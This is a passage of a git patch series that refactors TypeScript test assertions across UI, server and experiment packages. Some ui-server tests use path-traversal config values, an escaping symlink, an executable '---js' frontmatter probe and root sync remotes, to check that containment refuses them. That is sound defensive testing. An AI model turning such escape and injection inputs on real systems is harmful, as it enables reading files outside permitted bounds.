expect(useConnectionStore.getState().vpnStatus).toBe("unreachable"); }); From a4373a994c3b74a30c5878727c222b990fe2d6ff Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:41:41 +0100 Subject: [PATCH 080/252] test(ui-react): discovery query bounds print the offending nodes and edges Test-Health: th-20261110182050-6072af#19 --- packages/ui-react/tests/discovery-query-bounds.test.ts | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/packages/ui-react/tests/discovery-query-bounds.test.ts b/packages/ui-react/tests/discovery-query-bounds.test.ts index 062de545b1..e20cf78f8f 100644 --- a/packages/ui-react/tests/discovery-query-bounds.test.ts +++ b/packages/ui-react/tests/discovery-query-bounds.test.ts @@ -25,9 +25,9 @@ test("DISCOVERY_REAL_NODE_CAP: the supported UI reader preserves outgoing distan expect(scene.nodes.length).toBe(5000); expect(scene.truncated).toBe(true); expect(scene.nodes.find(n => n.id === 1)?.distance).toBe(0); - expect(scene.nodes.filter(n => n.id !== 1).every(n => n.distance === 1)).toBe(true); + expect(scene.nodes.filter(n => n.id !== 1 && n.distance !== 1), "every other node is one outgoing hop away").toEqual([]); expect(scene.nodes.some(n => n.id === 5003), "incoming-only note never becomes an outgoing BFS node").toBe(false); - expect(scene.edges.every(e => e.source === 1 && scene.nodes.some(n => n.id === e.target))).toBe(true); + expect(scene.edges.filter(e => e.source !== 1 || !scene.nodes.some(n => n.id === e.target)), "every edge leaves the root for a shown node").toEqual([]); }); test("DISCOVERY_REAL_VIRTUAL_CAP: default-root rank capping retains the synthetic root and honest limited eligibility", () => { @@ -40,7 +40,7 @@ test("DISCOVERY_REAL_VIRTUAL_CAP: default-root rank capping retains the syntheti expect(scene.nodes.length).toBe(5000); expect(scene.truncated).toBe(true); expect(scene.nodes.find(n => n.id === 0)).toMatchObject({ virtual: true, path: "AGENTS.md", distance: 0 }); - expect(scene.nodes.filter(n => n.id !== 0).every(n => n.distance === 1)).toBe(true); + expect(scene.nodes.filter(n => n.id !== 0 && n.distance !== 1), "every note hangs one hop off the virtual root").toEqual([]); const note = scene.nodes.find(n => n.id === 1)!; const action = discoveryExpansionAction(note, scene, { data: scene, depth: 2 }, emptyDiscoveryExpansion(), false); expect(action.count).toBe(0); @@ -61,7 +61,7 @@ test("DISCOVERY_REAL_EDGE_ONLY_CAP: all nodes may survive while the actual 20000 expect(scene.nodes.length).toBe(202); expect(scene.edges.length).toBe(20000); expect(scene.truncated).toBe(true); - expect(scene.nodes.filter(n => n.id !== 1).every(n => n.distance === 1)).toBe(true); + expect(scene.nodes.filter(n => n.id !== 1 && n.distance !== 1), "every other node is one outgoing hop away").toEqual([]); const action = discoveryExpansionAction(scene.nodes.find(n => n.id === 2)!, scene, { data: scene, depth: 2 }, emptyDiscoveryExpansion(), false); expect(action.reason).toContain("scene limited"); expect(action.reason).not.toContain("already shown"); From dee87788838aed43ce9217bb4a9e05af6bbed24e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:42:10 +0100 Subject: [PATCH 081/252] test(ui-react): draft-files disposes every scene's draft client and proves none saves later Test-Health: th-20261110182050-6072af#20 --- packages/ui-react/tests/draft-files.test.ts | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/packages/ui-react/tests/draft-files.test.ts b/packages/ui-react/tests/draft-files.test.ts index 6b2ef691f6..aabd81aba0 100644 --- a/packages/ui-react/tests/draft-files.test.ts +++ b/packages/ui-react/tests/draft-files.test.ts @@ -12,10 +12,24 @@ import { holdsUnsaved } from "../src/stores/draft-state.ts"; // fixtures, an in-memory host, no network. const roots: BrainUiRoot[] = []; +/** Each scene's draft client and the saves its host saw: a root's dispose() does not reach the client (#3835). */ +const scenes: { client: { dispose(): void }; saves: unknown[] }[] = []; // The draft client's save debounce and retry backoff run on a fake clock; the // in-memory host answers in promise turns, which stay real. beforeEach(() => { vi.useFakeTimers(); }); -afterEach(() => { for (const r of roots.splice(0)) r.dispose(); vi.useRealTimers(); }); +afterEach(async () => { + try { + // Clients first, while the fake clock still holds their timers, then roots. + const owned = scenes.splice(0); + for (const { client } of owned) client.dispose(); + for (const r of roots.splice(0)) r.dispose(); + // Past every backoff step (2+4+8+16+30+60 s): a disposed client never saves again. + const saved = owned.map((s) => s.saves.length); + vi.advanceTimersByTime(130_000); + await turn(); + expect(owned.map((s) => s.saves.length), "DISPOSED_DRAFT_CLIENT_SAVES_NOTHING_LATER").toEqual(saved); + } finally { vi.useRealTimers(); } +}); const SESSION = "odysseus-ithaca"; function original(fileId: string, name = "ithaca-permit.pdf"): AttachmentFile { return { fileId, name, path: `.brain-ui/attachments/${fileId}/${name}`, mediaType: "application/pdf", bytes: 2_400_000, sha256: "b".repeat(64), kind: "pdf", reader: "pdf" }; @@ -42,6 +56,7 @@ function scene() { const ui = createBrainUiRoot({ storage: null, request: async () => Response.json({}) }); roots.push(ui); const client = createDraftClient(ui, { send: () => true, api }); + scenes.push({ client, saves }); client.hello({ type: "server_hello", protocolRev: 5, capabilities: { sessionDrafts: true, chatRequestAck: true, composerFiles: true }, attachmentLimits: { maxFiles: 10, maxFileBytes: 25_000_000, maxTotalBytes: 50_000_000, poolBytes: 1_073_741_824 } } as Extract); const drafts = ui.stores.drafts; From 403022263cc9cd8f911115e929e049fa53b56a52 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:42:24 +0100 Subject: [PATCH 082/252] test(ui-react): PDF lifetime case waits for the opening effect, not 50 ms Test-Health: th-20261110182050-6072af#27 --- packages/ui-react/tests/pdf-preview.test.tsx | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/packages/ui-react/tests/pdf-preview.test.tsx b/packages/ui-react/tests/pdf-preview.test.tsx index 56d51a2b3e..40419af9b4 100644 --- a/packages/ui-react/tests/pdf-preview.test.tsx +++ b/packages/ui-react/tests/pdf-preview.test.tsx @@ -339,8 +339,9 @@ if (!process.env[CHILD_MARKER]) { try { opening = () => new Promise((_resolve, reject) => (failOld = reject)); reactRoot.render(<>{view(0, "out/old.pdf")}); - await settle(); - expect(failOld).not.toBeNull(); + // The old file's open has started once its opening effect ran: wait for + // that, not for a fixed time a slow first commit can outlast (#1242). + await waitFor(() => expect(failOld, "the old file's opening effect ran").not.toBeNull()); opening = async () => fakeDoc([LETTER]); reactRoot.render(<>{view(0, "out/new.pdf")}); From 7c5f474228b42bb01a23ee4a0d7b185dc87bc817 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:42:28 +0100 Subject: [PATCH 083/252] test(ui-react): frontmatter case names its claim and uses the Odysseus world Test-Health: th-20261110182050-6072af#29 --- packages/ui-react/tests/frontmatter.test.ts | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/packages/ui-react/tests/frontmatter.test.ts b/packages/ui-react/tests/frontmatter.test.ts index c51e78c573..0e446fbda6 100644 --- a/packages/ui-react/tests/frontmatter.test.ts +++ b/packages/ui-react/tests/frontmatter.test.ts @@ -64,13 +64,13 @@ describe("splitFrontmatter", () => { expect(r.body).toBe(md); }); - test("realistic brain repo frontmatter", () => { + test("a full note block keeps its quoted title, its tag list and the body after the fence", () => { const md = [ "---", "type: note", - 'title: "CloudFest 2026 — rtCamp Conversation"', - "created: 2026-03-24", - "tags: [cloudfest, rtcamp, agentic]", + 'title: "Council at Pylos — Nestor on the Way Home"', + "created: 2026-07-12", + "tags: [pylos, nestor, voyage]", "status: active", "---", "", @@ -80,8 +80,8 @@ describe("splitFrontmatter", () => { ].join("\n"); const r = splitFrontmatter(md); expect(r.fields).toHaveLength(5); - expect(r.fields[1].value).toBe("CloudFest 2026 — rtCamp Conversation"); - expect(r.fields[3].list).toEqual(["cloudfest", "rtcamp", "agentic"]); + expect(r.fields[1].value).toBe("Council at Pylos — Nestor on the Way Home"); + expect(r.fields[3].list).toEqual(["pylos", "nestor", "voyage"]); expect(r.body.startsWith("\n## Context")).toBe(true); }); From 018ce803cc73624355a4a3cc84859659f9de57f1 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:42:40 +0100 Subject: [PATCH 084/252] test(experiments): a native-process receipt check can no longer pass on an empty list Test-Health: th-20261110185519-f622c2#2 --- experiments/measurement-results.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/experiments/measurement-results.test.ts b/experiments/measurement-results.test.ts index 95aa7b12b6..7be5302ae9 100644 --- a/experiments/measurement-results.test.ts +++ b/experiments/measurement-results.test.ts @@ -76,7 +76,7 @@ test("a consumer rejects the real SDK result before reporting sees it; native no expect(turn.costUsd).toBe(.375); expect(turn.resultReceipts).toEqual([receipt]); expect([turn.inputTokens, turn.outputTokens, turn.cacheCreationTokens, turn.cacheReadTokens, turn.modelTurns]).toEqual([101, 37, 203, 307, 2]); - expect(turn.nativeProcesses.every(process => process.closed && process.stdoutFinished)).toBe(true); + expect(turn.nativeProcesses.map(process => [process.closed, process.stdoutFinished])).toEqual([[true, true]]); expect(costRows([turn]).join("\n")).toContain("unknown/not measured"); }, 20_000); From 423100cac78a61a6755bc638ee60adb7463dfefb Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:42:45 +0100 Subject: [PATCH 085/252] test(experiments): roster-cost cases assert the listed tools; boolean checks print their values Test-Health: th-20261110185519-f622c2#3 --- experiments/bounded-read-contract.test.ts | 3 ++- experiments/multi-query-search.test.ts | 1 + experiments/multi-root-graph.test.ts | 2 +- 3 files changed, 4 insertions(+), 2 deletions(-) diff --git a/experiments/bounded-read-contract.test.ts b/experiments/bounded-read-contract.test.ts index 75bd2e8070..3167814d90 100644 --- a/experiments/bounded-read-contract.test.ts +++ b/experiments/bounded-read-contract.test.ts @@ -385,7 +385,7 @@ describe("real keyless stdio MCP exercise", () => { const results = await Promise.all(SMALL_PATHS.map(p => fresh.callTool({ name: "brain_read", arguments: { path: p } }) as Promise<{ content: Array<{ type: string; text: string }> }>)); const warnings = results.map(r => r.content.slice(1).map(p => p.text).join("")); - expect(warnings.every(w => w.startsWith("warning: "))).toBe(true); + expect(warnings.map(w => w.slice(0, "warning: ".length))).toEqual(SMALL_PATHS.map(() => "warning: ")); evidence.mcpRepeatedWarnings = { calls: results.length, warningCharsPerCall: warnings.map(w => w.length), totalWarningChars: warnings.join("").length, note: "one batch result would carry the warning once" }; } finally { @@ -399,6 +399,7 @@ describe("real keyless stdio MCP exercise", () => { const { tools } = await client.listTools(); const listed = tools.find(t => t.name === "brain_read")!; const many = tools.find(t => t.name === "brain_read_many")!; + expect([listed?.name, many?.name]).toEqual(["brain_read", "brain_read_many"]); evidence.rosterChars = { brain_read: JSON.stringify(listed).length, brain_read_many: JSON.stringify(many).length, note: "Present on every provider request of a session that has the tool, cached or not; provider tokens unavailable" }; }); diff --git a/experiments/multi-query-search.test.ts b/experiments/multi-query-search.test.ts index e43d937b32..3f81e10181 100644 --- a/experiments/multi-query-search.test.ts +++ b/experiments/multi-query-search.test.ts @@ -416,6 +416,7 @@ describe("real keyless stdio MCP exercise", () => { test("roster cost: the listed brain_search definition and the proposed one", async () => { const { tools } = await client.listTools(); const listed = tools.find(t => t.name === "brain_search")!; + expect(listed?.name).toBe("brain_search"); // A like-for-like definition: brain_search's own input schema and descriptions as the item schema, plus the call's fields. const { query: _q, ...listedProps } = (listed.inputSchema as { properties: Record }).properties; const likeForLike = { diff --git a/experiments/multi-root-graph.test.ts b/experiments/multi-root-graph.test.ts index 227236a6d4..c9c6d17c05 100644 --- a/experiments/multi-root-graph.test.ts +++ b/experiments/multi-root-graph.test.ts @@ -160,7 +160,7 @@ describe("reachability: the prototype preserves each root's own walk", () => { ["duplicate", 0, 0], ["missing", undefined, 0], ["found", undefined, 0], ["found", undefined, walkLinks(db, { path: "notes/loom.md", depth: 1, direction: "both" }).edges.length], ]); - expect(result.edges.every((e) => !e.roots.some((i) => i === 1 || i === 2))).toBe(true); + expect(result.edges.filter((e) => e.roots.some((i) => i === 1 || i === 2))).toEqual([]); // The shipped single-root tools cannot tell the last two cases apart. const pi = piTools(root); for (const path of ["notes/absent.md", "notes/driftwood.md"]) { From 1b2c9dfd4005213651671f25ba638dbd07a546b3 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:42:59 +0100 Subject: [PATCH 086/252] test(ui-react): passkeys settings cases start from the UI store's initial state Test-Health: th-20261110182050-6072af#48 --- packages/ui-react/tests/passkeys.test.ts | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/packages/ui-react/tests/passkeys.test.ts b/packages/ui-react/tests/passkeys.test.ts index 32e879b99a..f9ae8cf231 100644 --- a/packages/ui-react/tests/passkeys.test.ts +++ b/packages/ui-react/tests/passkeys.test.ts @@ -1,7 +1,11 @@ -import { describe, test, expect } from "bun:test"; +import { beforeEach, describe, test, expect } from "bun:test"; import { isUserCancel } from "../src/lib/passkeys"; import { useUIStore } from "../src/stores/ui-store"; +// The UI store is the process-wide default root's: start each case from its +// initial state, whatever another file or case left open. +beforeEach(() => { useUIStore.setState(useUIStore.getInitialState(), true); }); + describe("isUserCancel", () => { test("treats NotAllowedError and AbortError as user cancel", () => { const notAllowed = new Error("The operation either timed out or was not allowed"); From 8cc8d33e410bcce4896284c99493137b832c9f46 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:43:04 +0100 Subject: [PATCH 087/252] test(ui-backend-pi): list non-success relay outcomes instead of a boolean Test-Health: th-20261110184656-6654f8#14 --- packages/ui-backend-pi/tests/host-relay.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-backend-pi/tests/host-relay.test.ts b/packages/ui-backend-pi/tests/host-relay.test.ts index 5692b46852..244f6890ec 100644 --- a/packages/ui-backend-pi/tests/host-relay.test.ts +++ b/packages/ui-backend-pi/tests/host-relay.test.ts @@ -30,7 +30,7 @@ beforeAll(async () => { const relayed = (name: string, request: Record, host: string) => { const result = results[name]!; expect(result.thrown, `${name} ran`).toBeNull(); - expect(result.outcomes.every(outcome => outcome === "success"), `${name} succeeded`).toBe(true); + expect(result.outcomes.filter(outcome => outcome !== "success"), `${name} succeeded`).toEqual([]); expect(result.requests, "PI_RELAY_HOST_CREDENTIAL_REACHES_UPSTREAM").toEqual(result.outcomes.map(() => expect.objectContaining(request))); expect(result.workerObserved, "PI_RELAY_WORKER_OBSERVED").toBe(true); expect(result.secretInWorker, "PI_RELAY_WORKER_HOLDS_NO_CREDENTIAL").toBe(false); From a2e53f8e00b1ae7fdb09017dc2dca5fac7f2357c Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:43:18 +0100 Subject: [PATCH 088/252] test(ui-react): real pdf.js case waits for the held reply and the close, not fixed delays Test-Health: th-20261110182050-6072af#49 --- packages/ui-react/tests/pdf-real-library.test.ts | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/packages/ui-react/tests/pdf-real-library.test.ts b/packages/ui-react/tests/pdf-real-library.test.ts index 603b5b9f8b..fb27898c3a 100644 --- a/packages/ui-react/tests/pdf-real-library.test.ts +++ b/packages/ui-react/tests/pdf-real-library.test.ts @@ -123,6 +123,14 @@ if (!process.env[CHILD_MARKER]) { this.terminated = true; } } + /** Polls a condition on the event loop, failing with `what` if it never holds. */ + async function until(holds: () => boolean, what: string) { + for (let polls = 0; !holds(); polls++) { + if (polls === 1_000) throw new Error(`never: ${what}`); + await new Promise((resolve) => setTimeout(resolve, 5)); + } + } + // pdf.js accepts only a Worker as a port, and this one is standing in for one. Object.setPrototypeOf(MemoryPort.prototype, Worker.prototype); @@ -153,9 +161,10 @@ if (!process.env[CHILD_MARKER]) { // a document) waits until the first document has finished closing. scope.hold = (data) => data.targetName === "main"; const second = loader.open(`${base}/notes.pdf`, "memory://pdf-worker"); - await new Promise((resolve) => setTimeout(resolve, 20)); + // Wait for the states the case is about, not for a time a loaded host can outlast. + await until(() => scope.held.length > 0, "the worker's reply to the second open is held"); loader.close(first); - await new Promise((resolve) => setTimeout(resolve, 50)); + await until(() => first.loadingTask.destroyed === true, "the first document has finished closing"); expect(first.loadingTask.destroyed).toBe(true); expect(scope.held.length).toBeGreaterThan(0); scope.release(); From e1be24ab5e36d9413e314509327513c9dcb5a9b2 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:43:23 +0100 Subject: [PATCH 089/252] test(ui-backend-pi): pin a full legacy listing page and compare values in the index query tools tests Test-Health: th-20261110184656-6654f8#15 --- .../tests/index-query-tools.test.ts | 22 +++++++++---------- .../tests/overview-discovery.test.ts | 2 ++ 2 files changed, 13 insertions(+), 11 deletions(-) diff --git a/packages/ui-backend-pi/tests/index-query-tools.test.ts b/packages/ui-backend-pi/tests/index-query-tools.test.ts index 2c2997e530..43f345d6b2 100644 --- a/packages/ui-backend-pi/tests/index-query-tools.test.ts +++ b/packages/ui-backend-pi/tests/index-query-tools.test.ts @@ -132,7 +132,7 @@ describe("registered pi query tools match real core MCP on a populated CLI index expect(actual.edges).toContainEqual({ source: CENTER, target: CENTER, resolved: true }); expect(actual.nodes.find(n => n.path === ISLAND)).toEqual({ path: ISLAND, title: "Ithaca", type: "project", summary: "Return to Ithaca", updated: "2026-01-03" }); expect(actual.nodes.map(n => n.path)).toEqual([...actual.nodes.map(n => n.path)].sort()); - expect(actual.nodes.some(n => n.path === "Absent Island" || n.path === "Unknown Harbour")).toBe(false); + expect(actual.nodes.filter(n => n.path === "Absent Island" || n.path === "Unknown Harbour")).toEqual([]); expect(await graph(call, { path: "notes/absent.md" })).toEqual({ edges: [], nodes: [] }); }); @@ -150,8 +150,8 @@ describe("registered pi query tools match real core MCP on a populated CLI index expect(await list(call, { limit: 0 })).toHaveLength(1); const all = await list(call, { limit: 1000 }); expect(all).toHaveLength(100); - expect(all.some(d => d.path === "notes/archive.md" || d.path === "notes/voyage-000.md")).toBe(false); - expect((await list(call, { type: "project" })).some(d => d.relevance === null && d.tags === null)).toBe(true); + expect(all.filter(d => d.path === "notes/archive.md" || d.path === "notes/voyage-000.md")).toEqual([]); + expect(await list(call, { type: "project" })).toContainEqual(expect.objectContaining({ relevance: null, tags: null })); expect(await list(call, { tag: "absent" })).toEqual([]); }); }); @@ -253,7 +253,7 @@ describe("registered pi tools keep the core query snapshot and connection lifeti const dir = clone(); const call = tools(dir); const before = await graph(call); - expect(before.nodes.some(n => n.path === ISLAND)).toBe(true); + expect(before.nodes.map(n => n.path)).toContain(ISLAND); const writer = new Database(join(dir, ".brain-index", "brain.db")); writer.exec("PRAGMA journal_mode=WAL"); let committed = false; @@ -267,7 +267,7 @@ describe("registered pi tools keep the core query snapshot and connection lifeti expect(committed).toBe(true); expect(actual, "edges and metadata must come from the pre-deletion snapshot").toEqual(before); const next = await graph(call); - expect(next.nodes.some(n => n.path === ISLAND)).toBe(false); + expect(next.nodes.map(n => n.path)).not.toContain(ISLAND); expect(next.edges).toContainEqual({ source: CENTER, target: "ithaca", resolved: false }); } finally { writer.close(true); } }); @@ -303,17 +303,17 @@ describe("registered pi tools keep the core query snapshot and connection lifeti const call = tools(dir); const oldList = await list(call); const oldGraph = await graph(call); - expect(oldList.some(d => d.title !== "Replaced Ithaca")).toBe(true); - expect(oldGraph.nodes.some(d => d.title !== "Replaced Ithaca")).toBe(true); + expect(oldList.map(d => d.title)).not.toContain("Replaced Ithaca"); + expect(oldGraph.nodes.map(d => d.title)).not.toContain("Replaced Ithaca"); renameSync(join(replacement, ".brain-index", "brain.db"), join(dir, ".brain-index", "brain.db")); const nextList = await list(call); const nextGraph = await graph(call); expect(nextList.length).toBeGreaterThan(0); expect(nextGraph.nodes.length).toBeGreaterThan(0); - expect(nextList.every(d => d.title === "Replaced Ithaca")).toBe(true); - expect(nextGraph.nodes.every(d => d.title === "Replaced Ithaca")).toBe(true); - expect(oldList.some(d => d.title !== "Replaced Ithaca")).toBe(true); - expect(oldGraph.nodes.some(d => d.title !== "Replaced Ithaca")).toBe(true); + expect(nextList.filter(d => d.title !== "Replaced Ithaca")).toEqual([]); + expect(nextGraph.nodes.filter(d => d.title !== "Replaced Ithaca")).toEqual([]); + expect(oldList.map(d => d.title)).not.toContain("Replaced Ithaca"); + expect(oldGraph.nodes.map(d => d.title)).not.toContain("Replaced Ithaca"); }); test("list and graph initialize no executable config and close each native read connection", async () => { diff --git a/packages/ui-backend-pi/tests/overview-discovery.test.ts b/packages/ui-backend-pi/tests/overview-discovery.test.ts index 372b760dae..257d94b97d 100644 --- a/packages/ui-backend-pi/tests/overview-discovery.test.ts +++ b/packages/ui-backend-pi/tests/overview-discovery.test.ts @@ -68,6 +68,8 @@ describe("pi brain_list paged discovery", () => { const { text } = await call("brain_list", { type: "project", limit: 5 }); const value = JSON.parse(text) as { documents: object[] }; expect(Object.keys(value)).toEqual(["documents"]); + // The corpus holds more than five projects, so the loop below checks a full page. + expect(value.documents).toHaveLength(5); for (const row of value.documents) expect(Object.keys(row)).toEqual(["path", "title", "type", "relevance", "status", "tags"]); }); From 32d8a9f13b7dec02d12e234bb48988a64b791f1c Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:43:28 +0100 Subject: [PATCH 090/252] test(experiments): turn-surface admission and stdout checks print the compared frames and bytes Test-Health: th-20261110185519-f622c2#6 --- experiments/turn-surface-admission.test.ts | 2 +- experiments/turn-surface-stdout.test.ts | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/experiments/turn-surface-admission.test.ts b/experiments/turn-surface-admission.test.ts index 3f70eaa06a..12495906cd 100644 --- a/experiments/turn-surface-admission.test.ts +++ b/experiments/turn-surface-admission.test.ts @@ -34,7 +34,7 @@ test("installed CLI API-auth handshake refuses before any model request or promp testSubscriptionRefusal: true }); expect(capture.requests).toHaveLength(0); expect(capture.gateRefusal).toBe("native_subscription_account_refused"); - expect(capture.frames.some(frame => frame.type === "assistant")).toBe(false); + expect(capture.frames.filter(frame => frame.type === "assistant")).toEqual([]); }); test("installed CLI effective auxiliary-model setting refuses after native OAuth handshake before inference", async () => { const capture = await captureSurface({ decision: Promise.resolve({ arm: "baseline", routed: false, tools: [], skills: [] }), diff --git a/experiments/turn-surface-stdout.test.ts b/experiments/turn-surface-stdout.test.ts index e934e63cad..8b69dc60f2 100644 --- a/experiments/turn-surface-stdout.test.ts +++ b/experiments/turn-surface-stdout.test.ts @@ -47,7 +47,7 @@ test("native split UTF-8 and final result survive delayed SDK reader and reader expect(thrown).toBe(true); expect(chunks.some(chunk => chunk.at(-1) === 0xcf)).toBe(true); expect(captured).toEqual([frame]); - expect(readFileSync(join(root, "stdout.jsonl")).equals(Buffer.from(source))).toBe(true); + expect(readFileSync(join(root, "stdout.jsonl"))).toEqual(Buffer.from(source)); } finally { if (child.exitCode === null) child.kill("SIGKILL"); await closed; @@ -76,7 +76,7 @@ test("native late EOF receipt survives an early SDK consumer throw; missing raw expect(await closed).toBe(0); expect(raw).toEqual(final); expect(() => successfulSurfaceReceipt(raw, observation)).toThrow("Missing model usage"); - expect(readFileSync(join(root, "stdout.jsonl")).equals(Buffer.from(bytes))).toBe(true); + expect(readFileSync(join(root, "stdout.jsonl"))).toEqual(Buffer.from(bytes)); } finally { if (child.exitCode === null) child.kill("SIGKILL"); await closed; From 649bdf25a253e852aedad4234ecce2330f0accd1 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:13:42 +0100 Subject: [PATCH 091/252] test(ui-server): orientation escape tests give the escaped target real content; the root sync-remote row runs instead of skipping Test-Health: th-20261110163814-571eb3#23 --- .../ui-server/tests/containment-rows.test.ts | 4 +++- .../tests/conversation-orientation.test.ts | 18 ++++++++++++++---- 2 files changed, 17 insertions(+), 5 deletions(-) diff --git a/packages/ui-server/tests/containment-rows.test.ts b/packages/ui-server/tests/containment-rows.test.ts index 83a1a574c9..2a39fc9e0e 100644 --- a/packages/ui-server/tests/containment-rows.test.ts +++ b/packages/ui-server/tests/containment-rows.test.ts @@ -179,7 +179,9 @@ describe("ui-server containment predicates: their matrix rows", () => { * was accepted beside the brain. */ describe("ui-server deny sites refuse `/` (#3422)", () => { - test.skipIf(!Bun.which("git", { PATH: "/usr/bin:/bin" }))("a local sync remote at `/` (sync-mirror syncTransportCommand)", () => { + test("a local sync remote at `/` (sync-mirror syncTransportCommand)", () => { + // git is a hosted-proof prerequisite; its absence fails loudly instead of skipping. + if (!Bun.which("git", { PATH: "/usr/bin:/bin" })) throw new Error("Prerequisite missing: git in /usr/bin or /bin"); for (const remote of ["/", "file:///"]) { expect(() => syncTransportCommand({ brain: root, mirror: join(base, "mirror"), remote, env: {}, args: [] })) .toThrow("the sync transport must not mount the brain or its ancestors"); diff --git a/packages/ui-server/tests/conversation-orientation.test.ts b/packages/ui-server/tests/conversation-orientation.test.ts index 22f8f50c5d..413da47d95 100644 --- a/packages/ui-server/tests/conversation-orientation.test.ts +++ b/packages/ui-server/tests/conversation-orientation.test.ts @@ -3,7 +3,7 @@ import { afterEach, expect, spyOn, test } from "bun:test"; import { mkdtempSync, mkdirSync, writeFileSync, rmSync, symlinkSync, unlinkSync, renameSync } from "node:fs"; import * as fsPromises from "node:fs/promises"; import { tmpdir } from "node:os"; -import { join } from "node:path"; +import { basename, join } from "node:path"; import { readConversationOrientation } from "../src/voice/conversation-orientation"; import { governancePolicyReaderFor } from "../src/brain/governance-policy"; import { conversationOrientation, projectConversationGuidance } from "@schlessera/brain-ui-sdk/internal"; @@ -165,7 +165,11 @@ test("authorization loss during map enumeration withholds the entire new map", a test("source read cap, escaped paths and executable frontmatter do not reach the provider seed", async () => { const f = fixture(); f.write("AGENTS.md", "# Personal Rules\n" + "🦉".repeat(20000)); - f.write("brain.config.json", JSON.stringify({ taxonomy: { canonical: { identity: "../outside.md", currentFocus: "context/watch.md" } } })); + // The escaped path names a real file beside the brain, so omitting it is the refusal, not a missing file. + const outside = mkdtempSync(join(tmpdir(), "odyssey-orientation-outside-")); + restore.push(() => rmSync(outside, { recursive: true, force: true })); + writeFileSync(join(outside, "outside.md"), "HOST_ONLY_ESCAPED_PATH\n"); + f.write("brain.config.json", JSON.stringify({ taxonomy: { canonical: { identity: `../${basename(outside)}/outside.md`, currentFocus: "context/watch.md" } } })); f.write("context/watch.md", "---js\nthrow Error('ORIENTATION_MUST_NOT_EXECUTE_FRONTMATTER')\n---\nHOST_ONLY_EXECUTABLE\n"); const orientation = await f.read(); expect(orientation.knowledge).toEqual([]); @@ -175,9 +179,15 @@ test("source read cap, escaped paths and executable frontmatter do not reach the test("a source symlink escaping the brain is omitted", async () => { const f = fixture(); - symlinkSync(join(root, ".."), join(root, "me", "outside")); + // The escaped target exists and has content, so an empty result is the refusal, not a missing file. + const outside = mkdtempSync(join(tmpdir(), "odyssey-orientation-outside-")); + restore.push(() => rmSync(outside, { recursive: true, force: true })); + writeFileSync(join(outside, "identity.md"), "HOST_ONLY_ESCAPED_IDENTITY\n"); + symlinkSync(outside, join(root, "me", "outside")); f.write("brain.config.json", JSON.stringify({ taxonomy: { canonical: { identity: "me/outside/identity.md", currentFocus: "" } } })); - expect((await f.read()).knowledge).toEqual([]); + const orientation = await f.read(); + expect(orientation.knowledge, "ESCAPING_SYMLINK_SOURCE_OMITTED").toEqual([]); + expect(conversationOrientation(orientation)).not.toContain("HOST_ONLY_ESCAPED_IDENTITY"); }); test("provider rules and invalid governance withhold new repository sources", async () => { From 7ee9fa501a0f87514abc6f5867c669f879bf0e83 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:26:00 +0100 Subject: [PATCH 092/252] test(ui-server): cancelled attachment read awaits and asserts its rejection Test-Health: th-20261110163814-571eb3#25 --- packages/ui-server/tests/attachment-read-tool.test.ts | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/packages/ui-server/tests/attachment-read-tool.test.ts b/packages/ui-server/tests/attachment-read-tool.test.ts index 7398193f90..d098410692 100644 --- a/packages/ui-server/tests/attachment-read-tool.test.ts +++ b/packages/ui-server/tests/attachment-read-tool.test.ts @@ -174,8 +174,9 @@ test("a cancelled turn's read returns and records nothing", async () => { const controller = new AbortController(); const pending = h.turn("voyage-1", { signal: controller.signal })({ id: logbook!.fileId }); controller.abort(); - expect(pending).rejects.toBeInstanceOf(AttachmentReadCancelled); - await pending.catch(() => {}); + // Settled, then asserted: a bare `.rejects` was not awaited, so its failure could land after the test settled. + const outcome = await pending.then(() => "resolved", (error: unknown) => error); + expect(outcome, "CANCELLED_READ_REJECTS").toBeInstanceOf(AttachmentReadCancelled); expect(h.store.attachmentReads("voyage-1")).toEqual([]); }); From bfdb767695c6f7b4450e481250b61ca114b03e99 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:31:41 +0100 Subject: [PATCH 093/252] test(ui-server): cron status tests read the shipped schema in memory; digest test always cleans up Test-Health: th-20261110163814-571eb3#28 --- packages/ui-server/tests/cron-digest.test.ts | 28 +++++++++-------- .../ui-server/tests/cron-scheduler.test.ts | 31 +++---------------- 2 files changed, 20 insertions(+), 39 deletions(-) diff --git a/packages/ui-server/tests/cron-digest.test.ts b/packages/ui-server/tests/cron-digest.test.ts index ab1f57429b..bc85a57b37 100644 --- a/packages/ui-server/tests/cron-digest.test.ts +++ b/packages/ui-server/tests/cron-digest.test.ts @@ -23,20 +23,22 @@ describe("cron digest", () => { const dbPath = join(directory, "brain-ui.db"); const now = 1_700_000_000_000; - const exitCode = runDigest( - { 